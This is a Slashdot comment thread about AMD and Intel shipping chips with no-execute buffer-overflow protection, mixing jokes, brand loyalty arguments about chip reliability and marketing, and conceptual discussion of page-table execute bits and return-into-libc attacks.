Slashdot Mirror


AMD Could Profit from Buffer-Overflow Protection

spin2cool writes "New Scientist has an article about how AMD and Intel are planning on releasing new consumer chips with built-in buffer-overflow protection. Apparently AMD's chips will make it to market first, though, which some analysts think could give AMD an advantage as the next round of chips are released. The question will be whether their PR department can spin this into a big enough story to sell to the Average Joe."

631 comments

  1. The could profit from overflows too... by ebuck · · Score: 5, Funny

    Especially if the buffer is their banking account.

    1. Re:The could profit from overflows too... by doorbot.com · · Score: 5, Funny

      Especially if the buffer is their banking account.

      Your account might profit too, if your account is next in sequence after AMD's...

    2. Re:The could profit from overflows too... by makapuf · · Score: 3, Funny

      just hope they stored it on unsigned ints ...

    3. Re:The could profit from overflows too... by BillX · · Score: 3, Funny

      "Stop overwriting my money, you bastards!"

      --
      Caveat Emptor is not a business model.
    4. Re:The could profit from overflows too... by Tony-A · · Score: 2, Funny

      just hope they stored it on unsigned ints ...
      gives a new meaning to overdrafts ;)

  2. AMD needs better marketing by Anonymous Coward · · Score: 5, Insightful

    Like IBM with OS/2, they have the better product. They now just need to convince ordinary consumers that this is the case. For some reason, people love that little Intel jingle.

    1. Re:AMD needs better marketing by Anonymous Coward · · Score: 1, Funny

      "For some reason, people love that little Intel jingle"

      but people HATE the blue man group...

    2. Re:AMD needs better marketing by ebuck · · Score: 5, Insightful

      I think it was the Intel inside marketing campaign that really did the trick.

      Nobody knows if Intel is better, but they don't want a computer that "lacks" Intel inside. They simply guess that if it's inside, it's better than not having it inside.

      It is brilliant. It can't be copied or AMD looks like a "me too!" player. It can't be contested because it's just vauge enough to not claim that the machine is any better for having Intel inside, but implies that anything else is somehow inferior.

    3. Re:AMD needs better marketing by Kenja · · Score: 1

      So in your opinion a better product is one without termal cutout or PCI clock locking? Or do you mean a lower cost product? The lower cost is nice, and while I use AMD chips for my game systems, I wont use them for my dev or server boxes becuase they lack features I want over higher speeds.

      --

      "Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
    4. Re:AMD needs better marketing by RedWolves2 · · Score: 1

      HAHA I just had the vision of the simpsons where marge cuts off Homers thumb and he stops in at Moes and starts in about the Blue Man Group.

      "Homers going on about the Blue Man Group we got plenty of time..." - Marge

    5. Re:AMD needs better marketing by ackthpt · · Score: 5, Insightful

      Don't overdo it. The software has to be compiled to take advantage of this (hence the new version of XP), so just buying a new PC with "WOW! BUFFER OVERFLOW PROTECTION" will generate negative press as people complain, "Hey! I've still got worms! er.. my computer does, not me!" Such gaffes are what competitors live for.

      --

      A feeling of having made the same mistake before: Deja Foobar
    6. Re:AMD needs better marketing by Vancorps · · Score: 5, Informative

      AMD processors have both of those features. AMD has done well at matching Intel feature for feature. Take a look at Opteron for servers. It doesn't help right now that there are a lot of Intel boards that shipped defective. I was replacing backplanes for a solid month just before the New Year. The latest Xeon's really aren't that impressive either. There was a time the Xeon was an incredible processor worthy of running a NOC but now they are hot enough that Opteron and other players look real nice again.

    7. Re:AMD needs better marketing by Anonymous Coward · · Score: 2, Interesting

      Like IBM with OS/2, they have the better product.

      And like IBM with OS/2 their 3rd party vendor support is poor. Bottom line is that they are still plagued with inconsistent chipsets and motherboard makers. AMD should offer an AMD manufactured motherboard with an AMD chipset just like Intel. That would be a big boost to their reputation for stability.

    8. Re:AMD needs better marketing by Karamchand · · Score: 2, Funny

      We don't support that... is the solution ;-)

    9. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      Maybe you're thinking of AMDs of the distant past. Current ones, and I'm specifically pointing out the server (Opteron) chip here, support thermal cutout.

      Tech Sheet on the Opteron

      Section 3.6 refers to the thermal cutout feature.

      I don't know what "PCI clock locking" is supposed to be. All I can find about it is that it refers to overclocking - you want to lock the PCI speed so it stays at 33 or 66Mhz, and then you can do whatever you want with the FSB. If that's indeed the case, I can't imagine wanting such a thing on a server...

    10. Re:AMD needs better marketing by Vancorps · · Score: 5, Informative
      Well just last night my AMD based laptop shut off on me because it got too hot, something stuck in the fan.

      As for the other features you mention. You are comparing Desktop processors and server processors. You might note the lack of the Opteron processor in the third party tests you linked to.

      Bout two months ago someone came to me with a motherboard and processor, Athlon XP 2600+. They couldn't get it to boot. I took one look at it and realized the heatsink was on backwards, it shut it self down as soon as it got hot enough. I put the heatsink on correctly and the thing booted right up.

      As for the PCI locking its a bit harder to vouch for since I don't see a whole lot of information about it, but I sure do recall seeing tests involving the Opteron, if I could find it right now I would, except I'm on dialup now for the first time in six years and its annoying the hell out of me.

    11. Re:AMD needs better marketing by Kenja · · Score: 2, Interesting
      The current AMD chips have an on board thermal diode. However it is up to the motherboard to do anything when the CPU overheats.

      PCI clock locking is to prevent the bus speed from drifting. Seems that most current AMD systems are running a 33mhz PCI buss +/- 3.3Mhz. Thats enough to cause crashes. True you see this in overclocked systems more then anything else. However over time the PCI buss speed can change in non locked systems due to thermal expansion of the circuitry etc. These are not big issues. In fact for home users they are non issues. However when I need my server farm to be up 24/7 and dont realy NEED the extra speed the AMD chips just dont look to good.

      --

      "Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
    12. Re:AMD needs better marketing by Anonymous Coward · · Score: 5, Funny
      Nobody knows if Intel is better, but they don't want a computer that "lacks" Intel inside. They simply guess that if it's inside, it's better than not having it inside.

      I always thought "Intel Inside" was a warning label.

    13. Re:AMD needs better marketing by Anonymous Coward · · Score: 5, Insightful

      Intel Inside is a minor part - what cemented Intel was Cyrix. People saw a low cost CPU and got burned for it - then there was no alternative to Intel until the original Athlon which meant that the Pentium and Pentium II were unchallenged.

      To this day, the legacy of Cyrix shadows AMD with marketting using the supposed clockspeed rather then actual.

      Fact of the matter is that Intel has so much branding, even being behind AMD on a few releases isn't going to do enough to displace Intel from being #1. All AMD is good for is the consumer so that there isn't a monopoly, and competition leads to innovation - otherwise Intel wouldn't have brought x86-64 to the general consumer for years. Not that I blame their logic, but then there wasn't a need to jump to Pentium either - the 486 had a lot still to offer at the time.

    14. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      *shrugs*

      I lost all sympathy for them when they cozied up to Microsoft to get the 64 bit plans some attention.

    15. Re:AMD needs better marketing by Neil+Watson · · Score: 5, Interesting

      It's frightening that even vendors believe in marketing. I meet with vendor one day to discuss supplying us with generic computers. I told them that most of our desktops were Durons. They gasped and stated they could not recommend such things. Stating that they would quote us Intel to "ensure stability". I asked them to cite proof that AMD systems were unstable. They could not but implied that it was common knowledge.

    16. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      MPU +1 Funny!!!

    17. Re:AMD needs better marketing by stephenisu · · Score: 1

      Whew... and I thought all of my code that "Magically works" (getting data from god knows where in memory, yet still works, somehow, much like windows) would need to be written properly.

      --
      Sigs? We don't need no stinking sigs!
    18. Re:AMD needs better marketing by illumina+us · · Score: 1

      The Blue Man Group is awesome!!!! How dare you! They are the only group I know that will actually make everyone in the audience not just participate but what to participate in their performances. -.-

      Oh and we all love the Intel jingle. "Intel inside. Idiot outside."

      --
      -illumina+us "I put on my robe and wizard hat..."
    19. Re:AMD needs better marketing by beerman2k · · Score: 3, Informative

      That's not true at all. Only the OS needs a new version. The OS simply marks pages allocated to the stack as "No Execute", and voila, programs can't use a buffer overrun to execute code.

    20. Re:AMD needs better marketing by Saberwind · · Score: 1, Insightful

      I honestly can't remember seeing an AMD advertisement since the DX4-100 was introduced.

      Does AMD even HAVE a marketing department?

    21. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      So is that saying that math coprocessing units are funny? Or that AMD's is less funny than Intel's?

    22. Re:AMD needs better marketing by Von+Helmet · · Score: 1

      Not only do AMD match Intel feature for feature, but - according to a man from Sun who gave one of my lectures in uni last week - the Opteron meets Sun's SPARC standards, which is pretty nifty.

    23. Re:AMD needs better marketing by cheide · · Score: 1

      They used to. I've got a motherboard with an AMD 761 northbridge, and there was a southbridge available too, though this board didn't use it. I have no idea how its performance compares, but it's been stable as a rock for me.

    24. Re:AMD needs better marketing by stanmann · · Score: 2, Funny

      Shouldn't this be MPU +.99038238 Funny?

      --
      Food not Bombs is a nice platitude but it breaks down when you notice that the Bombees are usually well fed
    25. Re:AMD needs better marketing by helzerr · · Score: 5, Insightful
      Stating that they would quote us Intel to "ensure stability".

      I bet it had more to do with ensuring their profit margin.

    26. Re:AMD needs better marketing by lowe0 · · Score: 1

      Windows XP Service Pack 2 is reportedly going to include this feature... see Ars Technica's writeup on the beta.

    27. Re:AMD needs better marketing by Loki_1929 · · Score: 4, Insightful

      " However when I need my server farm to be up 24/7 and dont realy NEED the extra speed the AMD chips just dont look to good."

      Yeah, Ok.

      How easily we all forget just how many times Intel's chips and boards have been junk-in-a-box. What good is a feature when you can't even keep the machine up and running? What kind of uptime does your server farm have when you're sending recalled CPUs back to the manufacturer? Or perhaps, in the case of Compaq's Itanium customers, the server simply doesn't arrive because it's determined to be defective from the get-go?

      Whoops.

      --
      -- "Government is the great fiction through which everybody endeavors to live at the expense of everybody else."
    28. Re:AMD needs better marketing by hfolkers · · Score: 1

      Don't now if AMD has marketing but everyone here in the netherlands now they are cheap and properly working. Why need intel if you can get it for max. half the price.

    29. Re:AMD needs better marketing by plugger · · Score: 1

      You're telling me we got burned, ever touched a Cyrix 686?

    30. Re:AMD needs better marketing by MerlynEmrys67 · · Score: 1

      Yes they do advertise... I see their ads in the WSJ on a very regular bassis. I think they are just not doing end consummer advertising - they are trying to get to the people with real money to buy their chips.

      --
      I have mod points and I am not afraid to use them
    31. Re:AMD needs better marketing by Tony+Hoyle · · Score: 1

      Tried the XP2 beta on an amd64? Both Digiguide and Mozilla get burned...

      Amusingly, IE6 starts falling over randomly too :)

    32. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      In my company we get nifty machines because we need them for the line of work were in. We have both itanium and opetron servers. The opteron server is by far one of the fastest machines we have(pound for pound) where as the itanium servers are just nothing but a nightmare for us.

    33. Re:AMD needs better marketing by CoolVibe · · Score: 3, Insightful
      It's not a cure-all solution.

      There are other trampolines available. Merely making stack pages non-executable doesn't prevent return-into-libc exploits for example where you use the global offset table to jump into arbitrary code by overwriting the entry for a library call like printf(3).

    34. Re:AMD needs better marketing by sirsnork · · Score: 1

      And thats why it's a BETA.. cos things don't work, admitadly a LOT of things dopn't work ;-), but it's still a beta

      --

      Normal people worry me!
    35. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      Blue Man Group is "trendy", therefor we must trash them on slashdot. Haven't you learned anything?

    36. Re:AMD needs better marketing by sirsnork · · Score: 1

      AMD are not big enough to build chipsets, and they don't want to dilute their CPU product by moving people into building chipsets. While I agree that fats AMD chipsets would be a godsend, at the moment they don't have the resources to do it on a wide scale

      --

      Normal people worry me!
    37. Re:AMD needs better marketing by PReDiToR · · Score: 1

      I think the thermal protection came out with the Barton, at least the on die version. Motherboards had detection cutouts built in for the Palomino too. I was mightily pissed that my KR7A-RAID didn't have it with my Palomino. When I first built the box I had a sub-spec HSF on which didn't quite keep the CPU below 80 under heavy load.

      --

      Do not meddle in the affairs of geeks for they are subtle and quick to anger
    38. Re:AMD needs better marketing by Tony+Hoyle · · Score: 2, Informative

      Mozilla doesn't work in Linux with the NX protection on either... it's doing some really dodgy self modifying stuff when it starts up I think.

      SP2 will break a *lot* of code and it's well worth downloading the beta and testing your stuff with it - your boss will thank you for it :)

    39. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      Blue Man Group is "trendy", therefor we must trash them on slashdot. Haven't you learned anything?

      I don't really know what the hell the Blue Man Group is other than the fact that they are those annoying weird dudes in the Intel ads.

      Of course now you're going to respond with:
      "[sarcasm]Ohhh.. you are so anti-culture, you don't even KNOW what the Blue Man Group. I wish I was as punk rock as you are.[/sarcasm]" etc etc

    40. Re:AMD needs better marketing by Barlo_Mung_42 · · Score: 3, Informative

      "It's not a cure-all solution."

      Nor will there ever be IMO. But this combined with good practices like not running as admin when we don't need to (reading email, web browsing, game playing for example) will be a huge leap forward.

    41. Re:AMD needs better marketing by mcbevin · · Score: 4, Insightful

      You never considered the possibility that there might just be some basis for that belief other than Intel marketing? That while AMDs are not so bad now, older versions would for example melt if you removed the cooling (whereas Intels even back then would simply slow down).

      Also, I suspect AMD possibly suffers from the poor reputations of previous Intel competitors who truly did have unreliable, inferior products. I for one had trouble for a while remembering which of AMD and Cyrix was the one to avoid, thus for the average consumer choosing the always reliable Intel makes some sense.

      AMD still needs some time to build up the reputation Intel has. If they can continue building reliable products without cutting too many corners as they have done in the past to keep up in the race against the giant, they may eventually obtain such a reputation, but such things take time.

    42. Re:AMD needs better marketing by dgatwood · · Score: 5, Insightful
      Wait just a second here. Do you mean to tell me that Intel and AMD still don't have no-execute flags for their page tables? Wow, I guess I should be really impressed by the foresight of Motorola and IBM, who put that feature in the PowerPC series of chips back in 1994 (beginning in the PowerPC 603).

      I'm actually surprised that there are chips out there that don't have such a feature. In a perverse way, I hope IBM has a patent on it.... :-)

      --

      Check out my sci-fi/humor trilogy at PatriotsBooks.

    43. Re:AMD needs better marketing by Krondor · · Score: 4, Interesting
    44. Re:AMD needs better marketing by Loki_1929 · · Score: 3, Insightful

      "they would quote us Intel to "ensure stability"."

      "I asked them to cite proof that AMD systems were unstable. They could not but implied that it was common knowledge."

      You can take this one step further - simply go through the articles I found and posted over a year ago. Show them the articles and then tell them that you cannot accept anything other than AMD quotes, in the interest of 'ensuring stability'.

      --
      -- "Government is the great fiction through which everybody endeavors to live at the expense of everybody else."
    45. Re:AMD needs better marketing by silex_reloaded · · Score: 1, Funny

      I always thought "Intel Inside" was a warning label. And I always think "Designed for Microsoft Windows" is a warning of incompatibility.

    46. Re:AMD needs better marketing by i_r_sensitive · · Score: 1
      I think more than marketing is at work here.

      I know that for myself, if I'm building a Windows box for a client I will allways select Intel for the processor.

      Conversely, if I'm builing a linux box for a client I allwats select AMD for the processor.

      Actually I'll go so far as to say I use Linux in preference for any non-Intel build (VIA, etc. etc.)

      I have no evidence to support my position, just a naggin perception that Windows is wrote to work on Intel as advertised, not every architecture out there... Makes sense. given Intel's popularity in the market place... However FOSS folk don't give a rat's ass, they got this brand new Athlon 3200+ and they want every last ounce of performance they can get...

      Coupled with the state of Alpha dev for Windows and the current state of 64 bit support, against those same items for Linux... I think I found my justification...

      --
      "Talk minus action equals nothing" - Joey Shithead, D.O.A.
      "Talk minus action equals /." -
    47. Re:AMD needs better marketing by ckaminski · · Score: 2, Funny

      Right. Which is why it's continually packed every single performance for nearly 6 years straight (in boston).

      Right...

    48. Re:AMD needs better marketing by ckaminski · · Score: 1

      How do you put a heatsink on backwards? Just curious... Cuz I've got two XP 2200+'s that won't boot (suspect dead mobos - ECS YOU FUCKS!)

    49. Re:AMD needs better marketing by Luminous+Coward · · Score: 2, Informative
      Wait just a second here. Do you mean to tell me that Intel and AMD still don't have no-execute flags for their page tables?
      You need to pay attention. AMD's Opteron has been available for 10 months now. Processors that support the AMD64 instruction set architecture (e.g. Opteron) do have a per-page no-execute bit.

      See AMD64 Architecture Programmer's Manual Volume 2: System Programming
      5.6.1 No Execute (NX) Bit (page 173)

    50. Re:AMD needs better marketing by shepd · · Score: 1

      >People saw a low cost CPU and got burned for it

      Bah! I was PERFECTLY happy with my Cyrix processor. It wasn't fast, but boy oh boy was it cheap. Way cheaper than I SHOULD have been able to get a CPU for, at the time. Integer performance was exemplary, although the FPU was abysmal. The whole overheating CPU thing was a bit fat load of crap, IMHO, ran mine with an eensy-weensy heatsink, no problems. Most problems actually came from overheating power regulators on cheap-ass motherboards (which, understandably, were what most Cyrixes were coupled with).

      The only people complaining were idiots thinking they'd get something for nothing. ;-) TANSTAAFL.

      >then there was no alternative to Intel until the original Athlon which meant that the Pentium and Pentium II were unchallenged.

      I found the AMD K6 (and K6 3DNow! & K6-II K6-III) a great competitor, again, but with the usual caveats. My 333 Mhz AMD computer was nice and speedy, probably similar to a PII-266...

      --
      If you could be told what you can see or read, then it follows that you could be told what to say or think - BoC
    51. Re:AMD needs better marketing by Anonymous Coward · · Score: 0
      Wow, I guess I should be really impressed by the foresight of Motorola and IBM, who put that feature in the PowerPC series of chips back in 1994 (beginning in the PowerPC 603).
      Then why would Theo de Raadt, OpenBSD's lead developer, claim that there are no per-page execute bits on the PowerPC?
    52. Re:AMD needs better marketing by Anonymous Coward · · Score: 1, Informative

      They could not but implied that it was common knowledge.

      It's not like they never had problems in the past.

    53. Re:AMD needs better marketing by edwdig · · Score: 4, Informative

      32 bit x86 chips have the write and execute flags combined in the page tables. The segment descriptors have seperate bits for them. Intel basically expected people to use segmentation on the 386 rather than paging, so the original paging implementation was a little subpar.

      Segmentation offers much finer control over memory (allocations can be sized to the exact byte, with a fault generated on any out of bounds access) and a larger virtual address space (48 bits, accessed in segments up to 4 GB). The problem with segmentation is the kernel memory management becomes a lot more complicated, so OS developers have avoided using the segmentation. x86 chips are the only ones to provide segmentation support, so developers of portable OS's avoided the feature as well.

      When AMD designed the x86-64 architecture, they had to design new page tables to deal with 64 addresses. While making that change, they also seperated the write & execute permission bits.

    54. Re:AMD needs better marketing by Hoser+McMoose · · Score: 2, Interesting

      The problem was never so much the processors as it was the motherboards. Cyrix chips were great on boards that supported them well. Unfortunately the cheap processors were almost always stuck on dirt-cheap motherboards using a POS power supply and every other crappy component people could find. This was especially bad when Cyrix was trying to push technology forward by using 75MHz bus speeds when Intel was only using 66MHz bus speed.

      Crappy motherboards continued to plague AMD for ages, even up to today where VIA still hasn't figured out how to write drivers properly. Fortunately for AMD they now have nVidia laying all of the older chipset vendors to shame by doing a better job on their first shot than Intel/VIA/ALi/SiS managed after 10 years.

      As for the clock speed thing, AMD just replaced one totally meaningless number (MHz) with another totally meaningless number (model number). It was a termendously successful idea though, boosted their sales a lot because most people like big meaningless numbers better than small meaningless numbers (compensating for something?).

    55. Re:AMD needs better marketing by BillyBlaze · · Score: 2, Interesting
      I don't know exactly how this will be implemented, but it's quite possible that it will only take a kernel change. (I'm assuming here that the executable formats include enough information to determine what areas of memory shouldn't be executed.) So with assistance from Microsoft (and a small patch for Linux), it could work.

      This could still break some apps which rely on executing some area of memory that they didn't mark as such, but you could just make an exec-time option to run that program without protection.

    56. Re:AMD needs better marketing by Anonymous Coward · · Score: 1, Insightful

      Like IBM with OS/2, they have the better product. They now just need to convince ordinary consumers that this is the case. For some reason, people love that little Intel jingle.

      That little jingle costs Intel billions of dollars to embed into your brain - in advertising and marketing dollars that AMD just does not have. Good branding is a huge advantage that is time tested and proven in business for decades.

      What kind of cola do you drink? Odds are it's Coke or Pepsi even though there are thousands of cheaper, but similar products.

      The other thing that AMD needs is to convince tier 1 box makers to support them - mostly they need to convince Dell. This won't happen any time soon for several obvious reasons.

      Delivering high volume CPUs is not AMD's strength. They should focus on their niche strengths of high performance in workstations and servers. Basically - their opteron strategy. Desktops are just too brutal a business for them to remain competitive given their limited resources.

    57. Re:AMD needs better marketing by Hoser+McMoose · · Score: 1

      The Athlon64 and Opteron dies contain a built-in thermal cutoff point, though it's a bit of a non-issue. Unless you're some complete nob who likes to rip their heatsink off a processor in the middle of running a Quake 3 timedemo, this is NOT a problem.

      As for the PCI bus thing, that's ONLY an issue for overclockers. When run at the specified bus speed both AMD and Intel systems have their PCI clock almost exactly at 33.3MHz.

      If you're overclocking your server farm, you have WAY more problems than the brand of processor that you're using!

    58. Re:AMD needs better marketing by freeweed · · Score: 4, Insightful

      AMDs are not so bad now, older versions would for example melt if you removed the cooling

      I've always been of the opinion that if you're in the habit of removing your heatsink from a running processor, you have deeper problems than worrying about whether or not it will melt. Tom's sure managed to keep a lot of people I know from buying AMD, which is pretty funny considering how much cooler AMD chips run these days compared to Intel.

      --
      Endless arguments over trivial contradictions in books written by ignorant savages to explain thunder in the dark.
    59. Re:AMD needs better marketing by Anonymous Coward · · Score: 1, Informative


      The problem with AMD was never the AMD chip, but stability of the 3rd party motherboard manufacturers. Since AMD chips were in the "bargain" category, "bargain" motherboard makers cut corners and caused stability issues. So vendors think AMD = cheap and worse quality. There were also early issues with AMD being able to fill orders, which makes vendors hesitant to purchase from them. One of the problems with the boom-bust cycle of chips is that even if AMD makes the greatest chip out there, they dont have the manufacturing support to fill all the orders and significantly increase market share, and they don't have sufficient financials to support increasing their production capacity. they just FINALLY made a profit last quarter, when Intel was profitable even in the worst of times.

    60. Re:AMD needs better marketing by k8er · · Score: 1

      I shot down several attempts to convince me to buy Cyrix processors because I thought that they would suck. I finally had a chance to try Cyrix 166+ chip in a box with NT4 Server (at someone elses expense). I was highly impressed. It seemed to outperform its Intel (classic p166) and AMD counterparts. The guy I built it for commented on the speed too. It was very low latency when navigating the interface and opening apps, so it may have been mostly perception. I didn't have a chance to game on it or anything and that might have been the weakness, but considering how much less it probably cost, it was probably well worth the price.

    61. Re:AMD needs better marketing by Loki_1929 · · Score: 1

      "Unless you're some complete nob who likes to rip their heatsink off a processor in the middle of running a Quake 3 timedemo, this is NOT a problem."

      I've likened the 'heat sink falling off' scenario to that of the radiator falling off a car. Since they happen at about the same frequency (never), it works well; not to mention the fact that it's funny to imagine someone's radiator falling off and the car continues driving at 5mph for the next 6 months while they continuously bitch about how slow it's been running lately.

      --
      -- "Government is the great fiction through which everybody endeavors to live at the expense of everybody else."
    62. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      Unless you're a JIT, in which case you need to execute your data pages. We (IBM's Java JIT compiler) hit this with SuSE 9 for AMD64 a few months back. We needed an extra mprotect call.

    63. Re:AMD needs better marketing by RzUpAnmsCwrds · · Score: 5, Insightful

      "versions would for example melt if you removed the cooling"

      And, why, exactly, would you remove the heatsink from a CPU while it is running?

      Moreover, this was not a flaw in the Athlon. The Athlon, since Athlon XP, has contained a thermal diode to enable safe thermal shutdown. The motherboard that Tom's Hardware used did not have the thermal protection circuitry.

      Losing a CPU to "thermal death" was a rare occurance. Most CPUs that experienced "thermal death" had improperly installed thermal solutions (e.g. the clip was not installed properly). A fan failure or failure to use thermal compound (e.g. a pad or grease) would likely not cause damage to the CPU, even without thermal protection. Only a lack of die to heatsink contact (e.g. with an improperly installed shim or a poorly installed heatsink that detached during movement) would likely cause the Athlon to experience "thermal death" ass shown in the Tom's Hardware video.

      "whereas Intels even back then would simply slow down"

      The Tom's Hardware Guide video was a fake. The CPU temperature never exceeded 30C (look at the thermal probe). Thermal throttle-down on the P4 occurs when the CPU hits 85C. And, yes, the system will crash or simply become completely unusable if the heatsink is removed.

      "without cutting too many corners as they have done in the past"

      Right. Intel has never cut corners, particularly not with major logic bugs in the Pentium, PII, PIII, P4, and Itanium.

      Look, CPUs are not flawless. But the CPU thermal issue you speak of really is not a huge issue. With a properly installed heatsink (like the heatsinks on a computer you would buy from HP or eMachines), it never was an issue. And today every new motherboard has thermal protection.

      Tom's Hardware did a disservice to the community and to AMD by taking a relatively minor issue that affected a small number of people and blowing it out of proportion to a huge flaw.

      If you read Tom's Hardware for as long as I have, you begin to notice a pattern: Tom is an egotistic nut. He posted one editorial stating that the performance war between Intel and AMD was bad for consumers (hmmm... my $90 Athlon XP 2600+ would seem to refute that, as would sub $200 P4 3.0GHz CPUs). He also says that people buying AMD64 systems are giving AMD a "no intrest loan" because of the lack of availibility of AMD64 operating systems and applications. Apparently, no one told Tom that the Athlon 64 3000+ is *cheaper* than its similarly performing P4 counterpart (in IA-32 applications). And, apparently, no one told Tom that Intel has adopted the same instruction set for its Pentium 4 based 64-bit systems.

      I have lost respect for Tom and his publication. Between his hate-filled articles filled with vague statements and mistruths, his constant bashing of AMD (he compared the Athlon XP 3400+, a $450 CPU, to the P4 Extreme Edition, a $900 CPU, and decreed the P4EE the victor because it was marginally faster in 3/4 of the tests), and his suing of other tech websites, Tom has struck out. I only hope that [H]ardOCP doesn't suffer the same fate.

    64. Re:AMD needs better marketing by Anonymous Coward · · Score: 0

      jumping into code is useless if it happens to be in an (explicitly) non-exec area. It's not just the stack that's not executable, it's the heap as well, unless you specifically set the pages after alloc to be executable. Which won't be the case for anything but JIT compilers.

      so go ahead, jump to the exploit code - it will generate an access fault and that's it. You'll need a more complex type of exploits to bypass this.

    65. Re:AMD needs better marketing by Euler · · Score: 1

      I've studied the 386 a lot too, and came to the same conclusion that Intel had a pretty good idea with segmentation, but missed the boat in terms of selling the idea.

      The 386 is capable of allocating a segment for basically any and every string of memory a program uses. Segments can be any size and can overlap. The capability is still there, and it is 100% compatable with paging at the same time.

      They missed the boat though, because they put too much effort into designing the IO protection map and some other features around the segmentation model, and didn't reallly enhance the paging support as much as they could have. The only limitation i see with segmentation is that Intel provided mechanisms for 4 levels of execution privledges, protecting succesive levels of kernel and system code from applications. But I couldn't work out how applications in the same security level are supposed to be isolated from each other. Paging does that very naturally by just making virtual memory spaces non-visible to each other.

      But I always have felt that a sufficiently advanced OS could allocate buffers/strings within protected segments to avoid the exploits from overflows (the program would still crash, unless it could catch and recover from its own exception.)

    66. Re:AMD needs better marketing by Sycraft-fu · · Score: 4, Insightful

      Hey, they fall off sometimes, or a fan fails, or the AC fails. Shit happens. Happened to a friend of mine, friend one of his CPUs, though the board was ok thankfully.

      Also AMDs much larger problem was motherboards. VIA chipesest used to suck hard, and AMD's own were almost as bad. I remeber when the Athlons were fairly new it was time for me to upgrade so I decided to get one based on price. I got a 700mhz slot Athlon and a top-of-the-line Abit board with VIA chipset. I then proceeded to fight with my system for two weeks. I could not make it work in either 98 or 2000. It just would not play nice with my GeForce or my pro audio card. I finally sent it back, got a 440BX and an Intel P3 700 which I then used for like 2 years.

      Now I know the situation is completely different today, but that sort of thing sticks with many companies and OEMs. Trust is a thing that is easy to loose, hard to regain. Not fair, but that's how the world works.

      Only receantly have I started recommending ATi video cards. Why? Well becuase I supported ATis in many situations and their drivers were trash. 2d was fine but try and 3d and you were asking for BSODs. That's now changed, their drivers are in every way as solid as nVidia's and their hardware is better. But it took time for me to trust that. I had to use the cards and see them used in a number of different environments before I was ready to declare them stable enough for use in production systems.

      Also the PR numbers aren't helping. Many people see it as dishonest, espically since they haven't need consistent (some of the more receant chips haven't performed at the level their PR would infer). This again hurts crediblity in the eyes of some people.

      It's not fair per se, but it is the way of the world. You burn me, it takes time for me to trust you won't do it again.

    67. Re:AMD needs better marketing by edwdig · · Score: 1

      When using segmentation, there are two segment descriptor tables - the Global Descriptor Table (GDT) and the Local Descriptor Table (LDT). The idea is all the shared segments go into the GDT, and the application segments go into the LDT. When a context switch occurs, the kernel changes simply issues one instruction to tell the CPU to use a different LDT.

    68. Re:AMD needs better marketing by dgatwood · · Score: 1
      You're right. I just reread the spec more carefully. It has per-segment no-execute bits. Not quite as fine-grained, but realistically, a per-page bit is overkill.

      Each segment is a 256MB slice of the virtual address space. Make the stack grow down from the top of one of these segments. Mark that segment as no-execute. Done.

      --

      Check out my sci-fi/humor trilogy at PatriotsBooks.

    69. Re:AMD needs better marketing by 10101001+10101001 · · Score: 1

      > Also, I suspect AMD possibly suffers from the poor reputations of previous Intel competitors who truly did have unreliable, inferior products. I for one had trouble for a while remembering which of AMD and Cyrix was the one to avoid, thus for the average consumer choosing the always reliable Intel makes some sense.

      *Also, I suspect Windows possibly suffers from the poor reputations of previous OS/2 competitors who truly did have unreliable, inferior products. I for one had trouble for a while remembering which of Windows 95 and Windows NT was the one to avoid, thus for the average consumer choosing the always reliable OS/2 makes more sense.*

      And Windows 95 and Windows NT sound a lot more alike...

      The truth is, Intel is better at marketing the whole '"Pentium" and "Intel Inside" == a compatible computer' for the non-techy who thinks he is a techy. Most people who used AMD or Cyrix computers still didn't notice anything but the price. Intel still has good OEM connections (look at Dell, for example). Most people still don't notice the difference (and starting with the K7 there's really no noticeable difference). I don't think marketing is really the way to go. It's getting better OEM tie-ins. How else do you think the WinTel grew so well? OEMs make two monopolies (admittedly, Intel is less of one now) look like they give you choice.

      --
      Eurohacker European paranoia, gun rights, and h
    70. Re:AMD needs better marketing by 10101001+10101001 · · Score: 1

      > Merely making stack pages non-executable doesn't prevent return-into-libc exploits for example where you use the global offset table to jump into arbitrary code by overwriting the entry for a library call like printf(3).

      I'd be interested to know how a return-into-libc exploit works. The only thought that comes to mind as an exploit is putting args onto the stack and calling some function to do bad things (like remove memory protection) then continue the exploit into the stack space. Of course locking the stack one way or another and disallowing changing permissions would block that attack. So, how's return-into-libc exploit work?

      --
      Eurohacker European paranoia, gun rights, and h
    71. Re:AMD needs better marketing by jadavis · · Score: 1

      Informative (although I haven't any modpoints).

      Right now my box is working basically like I want it to running a 2200+ from a functionality standpoint.

      However, I have two problems:
      (1) Noise. I can hear my computer from downstairs. I have one of those thermaltake fans with a variable resistor knob that you can hang out the back, and even at the lowest fan speed it's loud.
      (2) Performance. My computer is much slower than a pentium laptop I bought (1.4ghz pentium M I think). And it's much, much, slower than any pentium server I have used. When I boot my computer, it shows 1500+, although I can up the clockspeed to make it say 1800+. It's unstable at the higher clockspeed (slightly). At neither speed is it even comparable to any recent pentium I've used (including my laptop).

      My laptop is silent. What I really want is my desktop to be quiet and well performing without anything crazy (I don't want to buy a water cooling system or anything like that). I don't mind getting a new mobo, fan, and proc, but I don't want to move everything to a new case if I can avoid it.

      What should I get? I'll give AMD another go if people really do vouch for it, but I would also try a pentium.

      Clearly, in my mind, it can be done since all I really want is my laptop with better video cards.

      --
      Social scientists are inspired by theories; scientists are humbled by facts.
    72. Re:AMD needs better marketing by Loki_1929 · · Score: 5, Informative
      "I for one had trouble for a while remembering" ... remembering a lot of things.

      Like the PIII Coppermine CPUs that wouldn't even boot sometimes.

      Or the randomly rebooting PII Xeons.

      Or the voltage problems with certain PIII Xeons.

      Or the memory request system hang bug in the PIII/Xeon.

      Or the PIII's SSE bug whose 'fix' killed i810 compatability.

      Or the MTH bug in the PIII CPUs that forced Intel customers to replace boards and RAM.

      Or the recalled, that's right, recalled PIII chips at 1.13GHz.

      Or the recalled (there's that word again) Xeon SERVER chips at 800 and 900MHz.

